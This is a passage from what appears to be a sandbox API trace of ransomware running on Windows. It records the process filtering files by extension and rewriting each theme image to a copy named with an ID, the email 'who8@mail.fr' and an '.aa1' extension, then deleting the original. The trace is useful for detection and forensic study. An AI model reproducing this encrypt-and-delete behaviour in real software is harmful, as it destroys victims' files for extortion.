lpString2=".GIF") returned -1 [0221.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.657] lstrlenW (lpString=".jpg") returned 4 [0221.657] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.657] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.657] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.874] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=33277) returned 1 [0221.874] CloseHandle (hObject=0x1fc) returned 1 [0221.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0221.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.874] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.875] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.875] GetLastError () returned 0x0 [0221.875] ReadFile (in: hFile=0x1fc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0221.881] WriteFile (in: hFile=0x218, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0221.885] ReadFile (in: hFile=0x1fc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.885] WriteFile (in: hFile=0x218, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.885] SetEndOfFile (hFile=0x218) returned 1 [0221.885] CloseHandle (hObject=0x218) returned 1 [0221.885] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.886] SetEndOfFile (hFile=0x1fc) returned 1 [0221.887] CloseHandle (hObject=0x1fc) returned 1 [0221.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.887] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0221.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.887] lstrlenW (lpString=".doc") returned 4 [0221.887] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.887] lstrlenW (lpString=".docx") returned 5 [0221.887] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.887] lstrlenW (lpString=".pdf") returned 4 [0221.887] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.888] lstrlenW (lpString=".xls") returned 4 [0221.888] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.888] lstrlenW (lpString=".xlsx") returned 5 [0221.888] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.888] lstrlenW (lpString=".ppt") returned 4 [0221.888] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.888] lstrlenW (lpString=".zip") returned 4 [0221.888] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.888] lstrlenW (lpString=".rar") returned 4 [0221.888] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.888] lstrlenW (lpString=".bz2") returned 4 [0221.888] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.888] lstrlenW (lpString=".7z") returned 3 [0221.888] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.888] lstrlenW (lpString=".dbf") returned 4 [0221.888] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.888] lstrlenW (lpString=".1cd") returned 4 [0221.888] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.888] lstrlenW (lpString=".jpg") returned 4 [0221.888] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.888] lstrlenW (lpString=".doc") returned 4 [0221.889] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.889] lstrlenW (lpString=".docx") returned 5 [0221.889] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.889] lstrlenW (lpString=".pdf") returned 4 [0221.889] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.889] lstrlenW (lpString=".xls") returned 4 [0221.889] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.889] lstrlenW (lpString=".xlsx") returned 5 [0221.889] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.889] lstrlenW (lpString=".ppt") returned 4 [0221.889] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.889] lstrlenW (lpString=".zip") returned 4 [0221.889] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.889] lstrlenW (lpString=".rar") returned 4 [0221.889] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.889] lstrlenW (lpString=".bz2") returned 4 [0221.889] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.889] lstrlenW (lpString=".7z") returned 3 [0221.889] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.889] lstrlenW (lpString=".dbf") returned 4 [0221.889] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.889] lstrlenW (lpString=".1cd") returned 4 [0221.889] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0221.890] lstrlenW (lpString=".jpg") returned 4 [0221.890] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.890] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.890] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.899] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1347) returned 1 [0221.899] CloseHandle (hObject=0x1a0) returned 1 [0221.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0221.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.899] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.899] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.008] GetLastError () returned 0x0 [0222.008] ReadFile (in: hFile=0x1a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x543, lpOverlapped=0x0) returned 1 [0222.079] WriteFile (in: hFile=0x170, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x550, lpOverlapped=0x0) returned 1 [0222.080] ReadFile (in: hFile=0x1a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.080] WriteFile (in: hFile=0x170, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.081] SetEndOfFile (hFile=0x170) returned 1 [0222.081] CloseHandle (hObject=0x170) returned 1 [0222.081] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.081] SetEndOfFile (hFile=0x1a0) returned 1 [0222.082] CloseHandle (hObject=0x1a0) returned 1 [0222.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.083] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0222.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.083] lstrlenW (lpString=".doc") returned 4 [0222.083] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.083] lstrlenW (lpString=".docx") returned 5 [0222.083] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.083] lstrlenW (lpString=".pdf") returned 4 [0222.083] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.083] lstrlenW (lpString=".xls") returned 4 [0222.083] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.083] lstrlenW (lpString=".xlsx") returned 5 [0222.083] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.083] lstrlenW (lpString=".ppt") returned 4 [0222.083] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.084] lstrlenW (lpString=".zip") returned 4 [0222.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.084] lstrlenW (lpString=".rar") returned 4 [0222.084] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.084] lstrlenW (lpString=".bz2") returned 4 [0222.084] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.084] lstrlenW (lpString=".7z") returned 3 [0222.084] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.084] lstrlenW (lpString=".dbf") returned 4 [0222.084] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.084] lstrlenW (lpString=".1cd") returned 4 [0222.084] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.084] lstrlenW (lpString=".jpg") returned 4 [0222.084] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.084] lstrlenW (lpString=".doc") returned 4 [0222.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.084] lstrlenW (lpString=".docx") returned 5 [0222.084] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.084] lstrlenW (lpString=".pdf") returned 4 [0222.084] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.084] lstrlenW (lpString=".xls") returned 4 [0222.085] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.085] lstrlenW (lpString=".xlsx") returned 5 [0222.085] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.085] lstrlenW (lpString=".ppt") returned 4 [0222.085] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.085] lstrlenW (lpString=".zip") returned 4 [0222.085] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.085] lstrlenW (lpString=".rar") returned 4 [0222.085] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.085] lstrlenW (lpString=".bz2") returned 4 [0222.085] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.085] lstrlenW (lpString=".7z") returned 3 [0222.085] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.095] lstrlenW (lpString=".dbf") returned 4 [0222.095] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.095] lstrlenW (lpString=".1cd") returned 4 [0222.095] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0222.095] lstrlenW (lpString=".jpg") returned 4 [0222.095] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.095] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.095] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.110] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5120) returned 1 [0222.110] CloseHandle (hObject=0x218) returned 1 [0222.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0222.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.266] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.266] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0222.267] GetLastError () returned 0x0 [0222.267] ReadFile (in: hFile=0x170, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x1400, lpOverlapped=0x0) returned 1 [0222.375] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0222.377] ReadFile (in: hFile=0x170, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.377] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.377] SetEndOfFile (hFile=0x1b0) returned 1 [0222.378] CloseHandle (hObject=0x1b0) returned 1 [0222.378] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.378] SetEndOfFile (hFile=0x170) returned 1 [0222.379] CloseHandle (hObject=0x170) returned 1 [0222.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.380] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0222.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.380] lstrlenW (lpString=".doc") returned 4 [0222.380] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.380] lstrlenW (lpString=".docx") returned 5 [0222.380] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.380] lstrlenW (lpString=".pdf") returned 4 [0222.380] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.380] lstrlenW (lpString=".xls") returned 4 [0222.380] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.381] lstrlenW (lpString=".xlsx") returned 5 [0222.381] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.381] lstrlenW (lpString=".ppt") returned 4 [0222.381] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.381] lstrlenW (lpString=".zip") returned 4 [0222.381] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.381] lstrlenW (lpString=".rar") returned 4 [0222.381] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.381] lstrlenW (lpString=".bz2") returned 4 [0222.381] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.381] lstrlenW (lpString=".7z") returned 3 [0222.381] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.381] lstrlenW (lpString=".dbf") returned 4 [0222.381] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.381] lstrlenW (lpString=".1cd") returned 4 [0222.381] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.381] lstrlenW (lpString=".jpg") returned 4 [0222.381] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.381] lstrlenW (lpString=".doc") returned 4 [0222.381] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.381] lstrlenW (lpString=".docx") returned 5 [0222.381] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.382] lstrlenW (lpString=".pdf") returned 4 [0222.382] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.382] lstrlenW (lpString=".xls") returned 4 [0222.382] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.382] lstrlenW (lpString=".xlsx") returned 5 [0222.382] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.382] lstrlenW (lpString=".ppt") returned 4 [0222.382] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.382] lstrlenW (lpString=".zip") returned 4 [0222.382] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.382] lstrlenW (lpString=".rar") returned 4 [0222.382] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.382] lstrlenW (lpString=".bz2") returned 4 [0222.382] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.382] lstrlenW (lpString=".7z") returned 3 [0222.382] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.382] lstrlenW (lpString=".dbf") returned 4 [0222.382] lstrcmpiW (lpString1=".dbf", 